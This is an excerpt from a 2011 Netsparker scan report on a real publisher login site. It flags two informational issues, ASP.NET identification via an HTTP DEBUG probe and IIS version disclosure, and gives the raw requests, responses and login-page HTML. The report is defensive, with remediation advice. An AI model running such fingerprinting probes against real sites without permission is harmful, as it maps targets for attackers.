</body>
</html>
ASP.NET Identified

ASP.NET Identified

1 TOTAL
INFORMATION
Netsparker identified that the target web site is using ASP.NET as web application framework. This issue is reported as extra information only.

Impact

This issue is reported as extra information, there is no direct impact resulting from this issue.
- /Affiliate/login.aspx

/Affiliate/login.aspx

http://publisher.mediapass.com/Affiliate/login.aspx

Request

DEBUG /Affiliate/login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=0yrta4eosgvdccnykiqvy0jk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 403 Forbidden
Cache-Control: private
Content-Length: 56
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:56:49 GMT


/Affiliate/login.aspx application debugging not enabled.
IIS Version Disclosure

IIS Version Disclosure

1 TOTAL
INFORMATION
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.

Impact

An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /Affiliate/login.aspx

/Affiliate/login.aspx

http://publisher.mediapass.com/Affiliate/login.aspx

Extracted Version

Microsoft-IIS/7.0

Request

GET /Affiliate/login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4177
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Set-Cookie: ASP.NET_SessionId=iynf1l45wp2bqs2vazqe0a2m; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:56:51 GMT




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
Login
</title><link href="../Styles/PubConsole.css" type="text/css" rel="stylesheet" /></head>
<body>

<div id="main">
<div class="wrap">

<div style="width:400px; margin:100px auto 250px auto; text-align:center; ">

<a href="http://www.mediapass.com"><img src="../Images/mpImages/logo1.gif" alt="MediaPass Login" border="0" /></a>

<b class="xtop"><b class="xb1"></b><b class="xb2"></b><b class="xb3"></b><b class="xb4"></b></b>
<div class="xboxcontent" style="padding:15px;">

<form name="form1" method="post" action="login.aspx" id="form1">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==" />

<script type="text/javascript">
<!--
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
// -->
</script>


<script src="/WebResource.axd?d=V0UOvKhRlmgPoJmZqw8KQA2&amp;t=633750263846926384" type="text/javascript"></script>

<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=" />



<table id="TableData" class="tableMain" cellspacing="2" cellpadding="5" width="100%" style="margin-top:-5px;">
<tr>
<TD style="background-color:#eee; padding:5px 0px;" align="center" colspan="2"><STRONG class="tableMainHeaderFont"><span id="lblLanguage1">Publisher Console Login</span></STRONG></TD>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage2">*Email</span></span></TD>
<TD align="left"><input name="LoginName" type="text" maxlength="255" size="30" id="LoginName" />&nbsp;</TD>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage3">* Password</span></span></TD>
<TD align="left"><input name="LoginPassword" type="password" maxlength="50" size="30" id="LoginPassword" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2">
<span class="tableMainBodyFont" style="font-size:11px;"><input id="chkStoreLogin" type="checkbox" name="chkStoreLogin" /><label for="chkStoreLogin"> Remember me on this computer</label></span></TD>
</tr>
<tr>
<TD align="center" colspan="2">
<input type="submit" name="SubmitButton" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions(&quot;SubmitButton&quot;, &quot;&quot;, true, &quot;&quot;, &quot;&quot;, false, false))" language="javascript" id="SubmitButton" class="btnSubmit" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2"><span class="tableMainBodyFont" style="font-size:11px;"><A href="ForgotPassword.aspx"><span id="lblLanguage4">Click here if you forgot your login information.</span></A></span></TD>
</tr>
</table>

<table id="TableMessage" cellspacing="2" cellpadding="5" width="100%" border="0">
<tr>
<TD align="center" colspan="2"></TD>
</tr>
</table>

</form>

</div>
<b class="xbottom"><b class="xb4"></b><b class="xb3"></b><b class="xb2"></b><b class="xb1"></b></b>

</div>

</div><!--End wrap-->
</div><!--End main-->

<!--Begin MP Footer-->
<div id="footer">
<div class="wrap">
<p>
&copy; 2010 Media Mogul
<img src="/Images/mpImages/mediamogul.gif" border="0" />
</p>
</div>
</div>
<!--End MP Footer-->

</body>
</html>